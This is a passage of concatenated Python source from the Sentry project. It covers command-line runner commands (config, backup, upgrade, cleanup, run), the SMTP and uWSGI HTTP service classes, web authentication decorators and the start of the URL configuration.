@click.option('--upgrade', default=False, is_flag=True, help='Upgrade before starting.')
@click.option('--noinput', default=False, is_flag=True, help='Do not prompt the user for input of any kind.')
@click.argument('service', default='http', type=click.Choice(sorted(SERVICES.keys())))
@configuration
@click.pass_context
def start(ctx, service, bind, workers, upgrade, noinput):
    "DEPRECATED see `sentry run` instead."

    from sentry.runner.initializer import show_big_error
    show_big_error([
        '`sentry start%s` is deprecated.' % (' ' + service if 'http' in sys.argv else ''),
        'Use `sentry run %s` instead.' % {'http': 'web'}.get(service, service),
    ])

    if bind:
        if ':' in bind:
            host, port = bind.split(':', 1)
            port = int(port)
        else:
            host = bind
            port = None
    else:
        host, port = None, None

    if upgrade:
        click.echo('Performing upgrade before service startup...')
        from sentry.runner import call_command
        call_command(
            'sentry.runner.commands.upgrade.upgrade',
            verbosity=0, noinput=noinput,
        )

    click.echo('Running service: %r' % service)

    # remove command line arguments to avoid optparse failures with service code
    # that calls call_command which reparses the command line, and if --noupgrade is supplied
    # a parse error is thrown
    sys.argv = sys.argv[:1]

    from sentry.utils.imports import import_string
    import_string(SERVICES[service])(
        host=host,
        port=port,
        workers=workers,
    ).run()






"""
sentry.runner.commands.config
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import click
import six

from sentry.runner.decorators import configuration


@click.group()
def config():
    "Manage runtime config options."


@config.command()
@click.argument('pattern', default='*', required=False)
@configuration
def list(pattern):
    "List configuration options."
    from fnmatch import fnmatch
    from sentry.options import default_manager as manager
    for key in manager.all():
        if fnmatch(key.name, pattern):
            click.echo('%s %s' % (key.name, key.type.name.upper()))


@config.command()
@click.option('--silent', '-q', default=False, is_flag=True, help='Suppress extraneous output.')
@click.argument('option')
@configuration
def get(option, silent):
    "Get a configuration option."
    from django.conf import settings
    from sentry.options import default_manager as manager
    from sentry.options.manager import UnknownOption
    try:
        key = manager.lookup_key(option)
    except UnknownOption:
        raise click.ClickException('unknown option: %s' % option)
    value = manager.get(key.name)
    if silent:
        click.echo(value)
        return
    # TODO(mattrobenolt): Add help to option keys
    # if key.help:
    #     click.echo(key.help + '\n')
    click.echo('        type: %s' % key.type.name.upper())
    click.echo(' from config: %s' % settings.SENTRY_OPTIONS.get(key.name, '<not set>'))
    click.echo('     current: %s' % value)


@config.command()
@click.argument('option')
@click.argument('value')
@configuration
def set(option, value):
    "Set a configuration option to a new value."
    from sentry import options
    from sentry.options.manager import UnknownOption
    try:
        options.set(option, value)
    except UnknownOption:
        raise click.ClickException('unknown option: %s' % option)
    except TypeError as e:
        raise click.ClickException(six.text_type(e))


@config.command()
@click.option('--no-input', default=False, is_flag=True, help='Do not show confirmation.')
@click.argument('option')
@configuration
def delete(option, no_input):
    "Delete/unset a configuration option."
    from sentry import options
    from sentry.options.manager import UnknownOption
    if not no_input:
        click.confirm('Are you sure you want to delete "%s"?' % option, default=False, abort=True)
    try:
        options.delete(option)
    except UnknownOption:
        raise click.ClickException('unknown option: %s' % option)


@config.command(name='generate-secret-key')
def generate_secret_key():
    "Generate a new cryptographically secure secret key value."
    from sentry.runner.settings import generate_secret_key
    click.echo(generate_secret_key())






"""
sentry.runner.commands.backup
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import click
from sentry.runner.decorators import configuration


@click.command(name='import')
@click.argument('src', type=click.File('rb'))
@configuration
def import_(src):
    "Imports data from a Sentry export."

    from django.core import serializers
    for obj in serializers.deserialize("json", src, stream=True, use_natural_keys=True):
        obj.save()


def sort_dependencies(app_list):
    """
    Similar to Django's except that we discard the important of natural keys
    when sorting dependencies (i.e. it works without them).
    """
    from django.db.models import get_model, get_models

    # Process the list of models, and get the list of dependencies
    model_dependencies = []
    models = set()
    for app, model_list in app_list:
        if model_list is None:
            model_list = get_models(app)

        for model in model_list:
            models.add(model)
            # Add any explicitly defined dependencies
            if hasattr(model, 'natural_key'):
                deps = getattr(model.natural_key, 'dependencies', [])
                if deps:
                    deps = [get_model(*d.split('.')) for d in deps]
            else:
                deps = []

            # Now add a dependency for any FK relation with a model that
            # defines a natural key
            for field in model._meta.fields:
                if hasattr(field.rel, 'to'):
                    rel_model = field.rel.to
                    if rel_model != model:
                        deps.append(rel_model)

            # Also add a dependency for any simple M2M relation with a model
            # that defines a natural key.  M2M relations with explicit through
            # models don't count as dependencies.
            for field in model._meta.many_to_many:
                rel_model = field.rel.to
                if rel_model != model:
                    deps.append(rel_model)
            model_dependencies.append((model, deps))

    model_dependencies.reverse()
    # Now sort the models to ensure that dependencies are met. This
    # is done by repeatedly iterating over the input list of models.
    # If all the dependencies of a given model are in the final list,
    # that model is promoted to the end of the final list. This process
    # continues until the input list is empty, or we do a full iteration
    # over the input models without promoting a model to the final list.
    # If we do a full iteration without a promotion, that means there are
    # circular dependencies in the list.
    model_list = []
    while model_dependencies:
        skipped = []
        changed = False
        while model_dependencies:
            model, deps = model_dependencies.pop()

            # If all of the models in the dependency list are either already
            # on the final model list, or not on the original serialization list,
            # then we've found another model with all it's dependencies satisfied.
            found = True
            for candidate in ((d not in models or d in model_list) for d in deps):
                if not candidate:
                    found = False
            if found:
                model_list.append(model)
                changed = True
            else:
                skipped.append((model, deps))
        if not changed:
            raise RuntimeError("Can't resolve dependencies for %s in serialized app list." %
                ', '.join('%s.%s' % (model._meta.app_label, model._meta.object_name)
                for model, deps in sorted(skipped, key=lambda obj: obj[0].__name__))
            )
        model_dependencies = skipped

    return model_list


@click.command()
@click.argument('dest', default='-', type=click.File('wb'))
@click.option('--silent', '-q', default=False, is_flag=True, help='Silence all debug output.')
@click.option('--indent', default=2, help='Number of spaces to indent for the JSON output. (default: 2)')
@click.option('--exclude', default=None, help='Models to exclude from export.', metavar='MODELS')
@configuration
def export(dest, silent, indent, exclude):
    "Exports core metadata for the Sentry installation."

    if exclude is None:
        exclude = ()
    else:
        exclude = exclude.lower().split(',')

    from django.db.models import get_apps
    from django.core import serializers

    def yield_objects():
        app_list = [(a, None) for a in get_apps()]

        # Collate the objects to be serialized.
        for model in sort_dependencies(app_list):
            if (
                not getattr(model, '__core__', True) or
                model.__name__.lower() in exclude or
                model._meta.proxy
            ):
                if not silent:
                    click.echo(">> Skipping model <%s>" % (model.__name__,), err=True)
                continue

            queryset = model._base_manager.order_by(model._meta.pk.name)
            for obj in queryset.iterator():
                yield obj

    if not silent:
        click.echo('>> Beginning export', err=True)
    serializers.serialize("json", yield_objects(), indent=indent, stream=dest,
                          use_natural_keys=True)






from __future__ import absolute_import






"""
sentry.runner.commands.upgrade
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import click
from sentry.runner.decorators import configuration


def _upgrade(interactive, traceback, verbosity):
    from django.core.management import call_command as dj_call_command
    dj_call_command(
        'syncdb',
        interactive=interactive,
        traceback=traceback,
        verbosity=verbosity,
    )

    dj_call_command(
        'migrate',
        merge=True,
        ignore_ghost_migrations=True,
        interactive=interactive,
        traceback=traceback,
        verbosity=verbosity,
    )

    from sentry.runner import call_command
    call_command(
        'sentry.runner.commands.repair.repair',
    )


@click.command()
@click.option('--verbosity', '-v', default=1, help='Verbosity level.')
@click.option('--traceback', default=True, is_flag=True, help='Raise on exception.')
@click.option('--noinput', default=False, is_flag=True, help='Do not prompt the user for input of any kind.')
@click.option('--lock', default=False, is_flag=True, help='Hold a global lock and limit upgrade to one concurrent.')
@configuration
@click.pass_context
def upgrade(ctx, verbosity, traceback, noinput, lock):
    "Perform any pending database migrations and upgrades."

    if lock:
        from sentry.app import locks
        from sentry.utils.locking import UnableToAcquireLock
        lock = locks.get('upgrade', duration=0)
        try:
            with lock.acquire():
                _upgrade(not noinput, traceback, verbosity)
        except UnableToAcquireLock:
            raise click.ClickException('Unable to acquire `upgrade` lock.')
    else:
        _upgrade(not noinput, traceback, verbosity)






"""
sentry.runner.commands.plugins
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import click
import six


@click.group()
def plugins():
    "Manage Sentry plugins."


@plugins.command()
def list():
    "List all installed plugins"
    from pkg_resources import iter_entry_points
    for ep in iter_entry_points('sentry.plugins'):
        click.echo(six.text_type(ep.dist))






"""
sentry.runner.commands.cleanup
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import click

from datetime import timedelta
from django.utils import timezone

from sentry.runner.decorators import configuration


def get_project(value):
    from sentry.models import Project

    try:
        if value.isdigit():
            return int(value)
        if '/' not in value:
            return None
        org, proj = value.split('/', 1)
        return Project.objects.get_from_cache(
            organization__slug=org,
            slug=proj,
        ).id
    except Project.DoesNotExist:
        return None


@click.command()
@click.option('--days', default=30, type=int, show_default=True, help='Numbers of days to truncate on.')
@click.option('--project', help='Limit truncation to only entries from project.')
@click.option('--concurrency', type=int, default=1, show_default=True, help='The number of concurrent workers to run.')
@click.option('--silent', '-q', default=False, is_flag=True, help='Run quietly. No output on success.')
@configuration
def cleanup(days, project, concurrency, silent):
    """Delete a portion of trailing data based on creation date.

    All data that is older than `--days` will be deleted.  The default for
    this is 30 days.  In the default setting all projects will be truncated
    but if you have a specific project you want to limit this to this can be
    done with the `--project` flag which accepts a project ID or a string
    with the form `org/project` where both are slugs.
    """
    from sentry.app import nodestore
    from sentry.db.deletion import BulkDeleteQuery
    from sentry.models import (
        Event, EventMapping, Group, GroupRuleStatus, GroupTagValue,
        LostPasswordHash, TagValue, GroupEmailThread,
    )

    # these models should be safe to delete without cascades, in order
    BULK_DELETES = (
        (GroupRuleStatus, 'date_added'),
        (GroupTagValue, 'last_seen'),
        (TagValue, 'last_seen'),
        (GroupEmailThread, 'date'),
    )

    GENERIC_DELETES = (
        (Event, 'datetime'),
        (Group, 'last_seen'),
    )

    if not silent:
        click.echo("Removing expired values for LostPasswordHash")
    LostPasswordHash.objects.filter(
        date_added__lte=timezone.now() - timedelta(hours=48)
    ).delete()

    project_id = None
    if project:
        click.echo("Bulk NodeStore deletion not available for project selection", err=True)
        project_id = get_project(project)
        if project_id is None:
            click.echo('Error: Project not found', err=True)
            raise click.Abort()
    else:
        if not silent:
            click.echo("Removing old NodeStore values")
        cutoff = timezone.now() - timedelta(days=days)
        try:
            nodestore.cleanup(cutoff)
        except NotImplementedError:
            click.echo("NodeStore backend does not support cleanup operation", err=True)

    for model, dtfield in BULK_DELETES:
        if not silent:
            click.echo("Removing {model} for days={days} project={project}".format(
                model=model.__name__,
                days=days,
                project=project or '*',
            ))
        BulkDeleteQuery(
            model=model,
            dtfield=dtfield,
            days=days,
            project_id=project_id,
        ).execute()

    # EventMapping is fairly expensive and is special cased as it's likely you
    # won't need a reference to an event for nearly as long
    if not silent:
        click.echo("Removing expired values for EventMapping")
    BulkDeleteQuery(
        model=EventMapping,
        dtfield='date_added',
        days=min(days, 7),
        project_id=project_id,
    ).execute()

    # Clean up FileBLob instances which are no longer used and aren't super
    # recent (as there could be a race between blob creation and reference)
    if not silent:
        click.echo("Cleaning up unused FileBlob references")
    cleanup_unused_files(silent)

    for model, dtfield in GENERIC_DELETES:
        if not silent:
            click.echo("Removing {model} for days={days} project={project}".format(
                model=model.__name__,
                days=days,
                project=project or '*',
            ))
        BulkDeleteQuery(
            model=model,
            dtfield=dtfield,
            days=days,
            project_id=project_id,
        ).execute_generic()


def cleanup_unused_files(quiet=False):
    """
    Remove FileBlob's (and thus the actual files) if they are no longer
    referenced by any File.

    We set a minimum-age on the query to ensure that we don't try to remove
    any blobs which are brand new and potentially in the process of being
    referenced.
    """
    from sentry.models import File, FileBlob, FileBlobIndex
    if quiet:
        from sentry.utils.query import RangeQuerySetWrapper
    else:
        from sentry.utils.query import RangeQuerySetWrapperWithProgressBar as RangeQuerySetWrapper

    cutoff = timezone.now() - timedelta(days=1)
    queryset = FileBlob.objects.filter(
        timestamp__lte=cutoff,
    )

    for blob in RangeQuerySetWrapper(queryset):
        if FileBlobIndex.objects.filter(blob=blob).exists():
            continue
        if File.objects.filter(blob=blob).exists():
            continue
        blob.delete()






from __future__ import absolute_import

import click
import pytz
import six

from collections import OrderedDict
from datetime import datetime, timedelta
from dateutil.parser import parse

from sentry.runner.decorators import configuration
from sentry.utils.iterators import chunked


class DateTimeParamType(click.ParamType):
    name = 'datetime'

    def convert(self, context, option, value):
        if value is None:
            return value
        elif isinstance(value, datetime):
            return value

        try:
            result = parse(value)
        except Exception:
            self.fail(
                '{!r} is not a valid datetime'.format(value),
                option,
                context,
            )

        if result.tzinfo is None:
            # TODO: We should probably warn about this? Also note that this
            # doesn't use the Django specified timezone, since settings haven't
            # been configured yet.
            result = result.replace(tzinfo=pytz.utc)

        return result


@click.group()
def tsdb():
    """Tools for interacting with the time series database."""
    pass


@tsdb.group()
def query():
    """Execute queries against the time series database."""
    pass


@query.command()
@click.argument(
    'metrics',
    nargs=-1,
    type=click.Choice([
        'organization_total_received',
        'organization_total_rejected',
        'organization_total_blacklisted',
    ]),
)
@click.option('--since', callback=DateTimeParamType())
@click.option('--until', callback=DateTimeParamType())
@configuration
def organizations(metrics, since, until):
    """
    Fetch metrics for organizations.
    """
    from django.utils import timezone
    from sentry.app import tsdb
    from sentry.models import Organization

    stdout = click.get_text_stream('stdout')
    stderr = click.get_text_stream('stderr')
    aggregate = lambda series: sum(value for timestamp, value in series)

    metrics = OrderedDict((name, getattr(tsdb.models, name)) for name in metrics)
    if not metrics:
        return

    if until is None:
        until = timezone.now()

    if since is None:
        since = until - timedelta(minutes=60)

    if until < since:
        raise click.ClickException('invalid time range provided: {} to {}'.format(since, until))

    stderr.write(
        'Dumping {} from {} to {}...\n'.format(
            ', '.join(metrics.keys()),
            since,
            until,
        ),
    )

    objects = Organization.objects.all()

    for chunk in chunked(objects, 100):
        instances = OrderedDict((instance.pk, instance) for instance in chunk)

        results = {}
        for metric in metrics.values():
            results[metric] = tsdb.get_range(metric, instances.keys(), since, until)

        for key, instance in six.iteritems(instances):
            values = []
            for metric in metrics.values():
                values.append(aggregate(results[metric][key]))

            stdout.write(
                '{} {} {}\n'.format(
                    instance.id,
                    instance.slug,
                    ' '.join(map(str, values)),
                ),
            )






"""
sentry.runner.commands.django
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import click
from sentry.runner.decorators import configuration


@click.command(add_help_option=False, context_settings=dict(
    ignore_unknown_options=True,
))
@click.argument('management_args', nargs=-1, type=click.UNPROCESSED)
@configuration
@click.pass_context
def django(ctx, management_args):
    "Execute Django subcommands."
    from django.core.management import execute_from_command_line
    execute_from_command_line(argv=[ctx.command_path] + list(management_args))






"""
sentry.runner.commands.run
~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2016 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import sys
from multiprocessing import cpu_count

import click

from sentry.runner.decorators import configuration, log_options


class AddressParamType(click.ParamType):
    name = 'address'

    def __call__(self, value, param=None, ctx=None):
        if value is None:
            return (None, None)
        return self.convert(value, param, ctx)

    def convert(self, value, param, ctx):
        if ':' in value:
            host, port = value.split(':', 1)
            port = int(port)
        else:
            host = value
            port = None
        return host, port

Address = AddressParamType()


class SetType(click.ParamType):
    name = 'text'

    def convert(self, value, param, ctx):
        if value is None:
            return None
        return frozenset(value.split(','))

Set = SetType()


@click.group()
def run():
    "Run a service."


@run.command()
@click.option('--bind', '-b', default=None, help='Bind address.', type=Address)
@click.option('--workers', '-w', default=0, help='The number of worker processes for handling requests.')
@click.option('--upgrade', default=False, is_flag=True, help='Upgrade before starting.')
@click.option('--with-lock', default=False, is_flag=True, help='Use a lock if performing an upgrade.')
@click.option('--noinput', default=False, is_flag=True, help='Do not prompt the user for input of any kind.')
@log_options()
@configuration
def web(bind, workers, upgrade, with_lock, noinput):
    "Run web service."
    if upgrade:
        click.echo('Performing upgrade before service startup...')
        from sentry.runner import call_command
        try:
            call_command(
                'sentry.runner.commands.upgrade.upgrade',
                verbosity=0, noinput=noinput, lock=with_lock,
            )
        except click.ClickException:
            if with_lock:
                click.echo('!! Upgrade currently running from another process, skipping.', err=True)
            else:
                raise

    from sentry.services.http import SentryHTTPServer
    SentryHTTPServer(
        host=bind[0],
        port=bind[1],
        workers=workers,
    ).run()


@run.command()
@click.option('--bind', '-b', default=None, help='Bind address.', type=Address)
@click.option('--upgrade', default=False, is_flag=True, help='Upgrade before starting.')
@click.option('--noinput', default=False, is_flag=True, help='Do not prompt the user for input of any kind.')
@configuration
def smtp(bind, upgrade, noinput):
    "Run inbound email service."
    if upgrade:
        click.echo('Performing upgrade before service startup...')
        from sentry.runner import call_command
        call_command(
            'sentry.runner.commands.upgrade.upgrade',
            verbosity=0, noinput=noinput,
        )

    from sentry.services.smtp import SentrySMTPServer
    SentrySMTPServer(
        host=bind[0],
        port=bind[1],
    ).run()


@run.command()
@click.option('--hostname', '-n', help=(
    'Set custom hostname, e.g. \'w1.%h\'. Expands: %h'
    '(hostname), %n (name) and %d, (domain).'))
@click.option('--queues', '-Q', type=Set, help=(
    'List of queues to enable for this worker, separated by '
    'comma. By default all configured queues are enabled. '
    'Example: -Q video,image'))
@click.option('--exclude-queues', '-X', type=Set)
@click.option('--concurrency', '-c', default=cpu_count(), help=(
    'Number of child processes processing the queue. The '
    'default is the number of CPUs available on your '
    'system.'))
@click.option('--logfile', '-f', help=(
    'Path to log file. If no logfile is specified, stderr is used.'))
@click.option('--quiet', '-q', is_flag=True, default=False)
@click.option('--no-color', is_flag=True, default=False)
@click.option('--autoreload', is_flag=True, default=False, help='Enable autoreloading.')
@log_options()
@configuration
def worker(**options):
    "Run background worker instance."
    from django.conf import settings
    if settings.CELERY_ALWAYS_EAGER:
        raise click.ClickException('Disable CELERY_ALWAYS_EAGER in your settings file to spawn workers.')

    from sentry.celery import app
    worker = app.Worker(
        # without_gossip=True,
        # without_mingle=True,
        # without_heartbeat=True,
        pool_cls='processes',
        **options
    )
    worker.start()
    try:
        sys.exit(worker.exitcode)
    except AttributeError:
        # `worker.exitcode` was added in a newer version of Celery:
        # https://github.com/celery/celery/commit/dc28e8a5
        # so this is an attempt to be forwards compatible
        pass


@run.command()
@click.option('--pidfile', help=(
    'Optional file used to store the process pid. The '
    'program will not start if this file already exists and '
    'the pid is still alive.'))
@click.option('--logfile', '-f', help=(
    'Path to log file. If no logfile is specified, stderr is used.'))
@click.option('--quiet', '-q', is_flag=True, default=False)
@click.option('--no-color', is_flag=True, default=False)
@click.option('--autoreload', is_flag=True, default=False, help='Enable autoreloading.')
@log_options()
@configuration
def cron(**options):
    "Run periodic task dispatcher."
    from django.conf import settings
    if settings.CELERY_ALWAYS_EAGER:
        raise click.ClickException('Disable CELERY_ALWAYS_EAGER in your settings file to spawn workers.')

    from sentry.celery import app
    app.Beat(
        # without_gossip=True,
        # without_mingle=True,
        # without_heartbeat=True,
        **options
    ).run()






"""
sentry.services.base
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function


class Service(object):
    name = ''

    def __init__(self, debug=False):
        self.debug = debug






"""
sentry.services.smtp
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import asyncore
import email
import logging
from smtpd import SMTPServer, SMTPChannel

from email_reply_parser import EmailReplyParser

from sentry.services.base import Service
from sentry.tasks.email import process_inbound_email
from sentry.utils.email import email_to_group_id

logger = logging.getLogger(__name__)


# HACK(mattrobenolt): literally no idea what I'm doing. Mostly made this up.
# SMTPChannel doesn't support EHLO response, but nginx requires an EHLO.
# EHLO is available in python 3, so this is backported somewhat
def smtp_EHLO(self, arg):
    if not arg:
        self.push('501 Syntax: EHLO hostname')
        return
    if self._SMTPChannel__greeting:
        self.push('503 Duplicate HELO/EHLO')
    else:
        self._SMTPChannel__greeting = arg
        self.push('250 %s' % self._SMTPChannel__fqdn)

SMTPChannel.smtp_EHLO = smtp_EHLO


STATUS = {
    200: '200 Ok',
    550: '550 Not found',
    552: '552 Message too long',
}


class SentrySMTPServer(Service, SMTPServer):
    name = 'smtp'
    max_message_length = 20000  # This might be too conservative

    def __init__(self, host=None, port=None, debug=False, workers=None):
        from django.conf import settings

        self.host = host or getattr(settings, 'SENTRY_SMTP_HOST', '0.0.0.0')
        self.port = port or getattr(settings, 'SENTRY_SMTP_PORT', 1025)

    def process_message(self, peer, mailfrom, rcpttos, raw_message):
        logger.info('Incoming message received from %s', mailfrom)
        if not len(rcpttos):
            logger.info('Incoming email had no recipients. Ignoring.')
            return STATUS[550]

        if len(raw_message) > self.max_message_length:
            logger.info('Inbound email message was too long: %d', len(raw_message))
            return STATUS[552]

        try:
            group_id = email_to_group_id(rcpttos[0])
        except Exception:
            logger.info('%r is not a valid email address', rcpttos)
            return STATUS[550]

        message = email.message_from_string(raw_message)
        payload = None
        if message.is_multipart():
            for msg in message.walk():
                if msg.get_content_type() == 'text/plain':
                    payload = msg.get_payload()
                    break
            if payload is None:
                # No text/plain part, bailing
                return STATUS[200]
        else:
            payload = message.get_payload()

        payload = EmailReplyParser.parse_reply(payload).strip()
        if not payload:
            # If there's no body, we don't need to go any further
            return STATUS[200]

        process_inbound_email.delay(mailfrom, group_id, payload)
        return STATUS[200]

    def run(self):
        SMTPServer.__init__(self, (self.host, self.port), None)
        try:
            asyncore.loop()
        except KeyboardInterrupt:
            pass






"""
sentry.services
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function






"""
sentry.services.http
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2016 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import os
import six
import sys

from sentry.services.base import Service


def convert_options_to_env(options):
    for k, v in six.iteritems(options):
        if v is None:
            continue
        key = 'UWSGI_' + k.upper().replace('-', '_')
        if isinstance(v, six.string_types):
            value = v
        elif v is True:
            value = 'true'
        elif v is False:
            value = 'false'
        elif isinstance(v, six.integer_types):
            value = six.text_type(v)
        else:
            raise TypeError('Unknown option type: %r (%s)' % (k, type(v)))
        yield key, value


class SentryHTTPServer(Service):
    name = 'http'

    def __init__(self, host=None, port=None, debug=False, workers=None,
                 validate=True, extra_options=None):
        from django.conf import settings
        from sentry import options as sentry_options
        from sentry.logging import LoggingFormat

        if validate:
            self.validate_settings()

        host = host or settings.SENTRY_WEB_HOST
        port = port or settings.SENTRY_WEB_PORT

        options = (settings.SENTRY_WEB_OPTIONS or {}).copy()
        if extra_options is not None:
            for k, v in six.iteritems(extra_options):
                options[k] = v
        options.setdefault('module', 'sentry.wsgi:application')
        options.setdefault('protocol', 'http')
        options.setdefault('auto-procname', True)
        options.setdefault('procname-prefix-spaced', '[Sentry]')
        options.setdefault('workers', 3)
        options.setdefault('threads', 4)
        options.setdefault('http-timeout', 30)
        options.setdefault('vacuum', True)
        options.setdefault('thunder-lock', True)
        options.setdefault('log-x-forwarded-for', False)
        options.setdefault('buffer-size', 32768)
        options.setdefault('post-buffering', 65536)
        options.setdefault('limit-post', 20971520)
        options.setdefault('need-app', True)
        options.setdefault('disable-logging', False)
        options.setdefault('memory-report', True)
        options.setdefault('reload-on-rss', 600)
        options.setdefault('ignore-sigpipe', True)
        options.setdefault('ignore-write-errors', True)
        options.setdefault('disable-write-exception', True)
        options.setdefault('virtualenv', sys.prefix)
        options.setdefault('die-on-term', True)
        options.setdefault('log-format', '%(addr) - %(user) [%(ltime)] "%(method) %(uri) %(proto)" %(status) %(size) "%(referer)" "%(uagent)"')

        options.setdefault('%s-socket' % options['protocol'], '%s:%s' % (host, port))

        # We only need to set uid/gid when stepping down from root, but if
        # we are trying to run as root, then ignore it entirely.
        uid = os.getuid()
        if uid > 0:
            options.setdefault('uid', uid)
        gid = os.getgid()
        if gid > 0:
            options.setdefault('gid', gid)

        # Required arguments that should not be overridden
        options['master'] = True
        options['enable-threads'] = True
        options['lazy-apps'] = True
        options['single-interpreter'] = True

        if workers:
            options['workers'] = workers

        # Old options from gunicorn
        if 'bind' in options:
            options['%s-socket' % options['protocol']] = options.pop('bind')
        if 'accesslog' in options:
            if options['accesslog'] != '-':
                options['logto'] = options['accesslog']
            del options['accesslog']
        if 'errorlog' in options:
            if options['errorlog'] != '-':
                options['logto2'] = options['errorlog']
            del options['errorlog']
        if 'timeout' in options:
            options['http-timeout'] = options.pop('timeout')
        if 'proc_name' in options:
            options['procname-prefix-spaced'] = options.pop('proc_name')
        if 'secure_scheme_headers' in options:
            del options['secure_scheme_headers']
        if 'loglevel' in options:
            del options['loglevel']

        # For machine logging, we are choosing to 100% disable logging
        # from uwsgi since it's currently not possible to get a nice json
        # logging out of uwsgi, so it's better to just opt out. There's
        # also an assumption that anyone operating at the scale of needing
        # machine formatted logs, they are also using nginx in front which
        # has it's own logs that can be formatted correctly.
        if sentry_options.get('system.logging-format') == LoggingFormat.MACHINE:
            options['disable-logging'] = True

        self.options = options

    def validate_settings(self):
        from django.conf import settings as django_settings
        from sentry.utils.settings import validate_settings

        validate_settings(django_settings)

    def prepare_environment(self, env=None):
        if env is None:
            env = os.environ

        # Move all of the options into UWSGI_ env vars
        for k, v in convert_options_to_env(self.options):
            env.setdefault(k, v)

        # Signal that we're running within uwsgi
        env['SENTRY_RUNNING_UWSGI'] = '1'

        # This has already been validated inside __init__
        env['SENTRY_SKIP_BACKEND_VALIDATION'] = '1'

        # Look up the bin directory where `sentry` exists, which should be
        # sys.argv[0], then inject that to the front of our PATH so we can reliably
        # find the `uwsgi` that's installed when inside virtualenv.
        # This is so the virtualenv doesn't need to be sourced in, which effectively
        # does exactly this.
        virtualenv_path = os.path.dirname(os.path.abspath(sys.argv[0]))
        current_path = env.get('PATH', '')
        if virtualenv_path not in current_path:
            env['PATH'] = '%s:%s' % (virtualenv_path, current_path)

    def run(self):
        self.prepare_environment()
        os.execvp('uwsgi', ('uwsgi',))






from __future__ import absolute_import

from functools import wraps
from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect
from django.contrib import messages
from django.utils.translation import ugettext_lazy as _

from sentry.web.helpers import render_to_response, get_login_url

ERR_BAD_SIGNATURE = _('The link you followed is invalid or expired.')


def login_required(func):
    @wraps(func)
    def wrapped(request, *args, **kwargs):
        if not request.user.is_authenticated():
            request.session['_next'] = request.get_full_path()
            if 'organization_slug' in kwargs:
                redirect_uri = reverse('sentry-auth-organization',
                                       args=[kwargs['organization_slug']])
            else:
                redirect_uri = get_login_url()
            return HttpResponseRedirect(redirect_uri)
        return func(request, *args, **kwargs)
    return wrapped


def signed_auth_required(func):
    @wraps(func)
    def wrapped(request, *args, **kwargs):
        if not request.user_from_signed_request:
            messages.add_message(
                request, messages.ERROR, ERR_BAD_SIGNATURE)
            return HttpResponseRedirect(get_login_url())
        return func(request, *args, **kwargs)
    return wrapped


def requires_admin(func):
    @wraps(func)
    def wrapped(request, *args, **kwargs):
        if not request.is_superuser():
            return render_to_response('sentry/missing_permissions.html', {},
                                      request, status=400)
        return func(request, *args, **kwargs)
    return login_required(wrapped)






"""
sentry.web.urls
~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django.conf import settings
from django.conf.urls import include, patterns, url
from django.http import HttpResponse
from django.views.generic import RedirectView

from sentry.web import api
from sentry.web.frontend import accounts, admin, generic, accounts_twofactor
from sentry.web.frontend.accept_organization_invite import \
    AcceptOrganizationInviteView
from sentry.web.frontend.account_security import AccountSecurityView
from sentry.web.frontend.account_notification import AccountNotificationView
from sentry.web.frontend.admin_queue import AdminQueueView
from sentry.web.frontend.auth_login import AuthLoginView
from sentry.web.frontend.twofactor import TwoFactorAuthView, u2f_appid
from sentry.web.frontend.auth_logout import AuthLogoutView
from sentry.web.frontend.auth_organization_login import \
    AuthOrganizationLoginView
from sentry.web.frontend.auth_provider_login import AuthProviderLoginView
from sentry.web.frontend.create_organization import CreateOrganizationView
from sentry.web.frontend.create_organization_member import \
    CreateOrganizationMemberView
from sentry.web.frontend.create_project import CreateProjectView
from sentry.web.frontend.create_project_key import CreateProjectKeyView
from sentry.web.frontend.create_team import CreateTeamView
from sentry.web.frontend.disable_project_key import DisableProjectKeyView
from sentry.web.frontend.edit_project_key import EditProjectKeyView
from sentry.web.frontend.enable_project_key import EnableProjectKeyView
from sentry.web.frontend.error_page_embed import ErrorPageEmbedView
from sentry.web.frontend.group_event_json import GroupEventJsonView
from sentry.web.frontend.group_plugin_action import GroupPluginActionView
from sentry.web.frontend.group_tag_export import GroupTagExportView
from sentry.web.frontend.home import HomeView
from sentry.web.frontend.mailgun_inbound_webhook import \
    MailgunInboundWebhookView
from sentry.web.frontend.organization_api_key_settings import \
    OrganizationApiKeySettingsView
from sentry.web.frontend.organization_api_keys import OrganizationApiKeysView
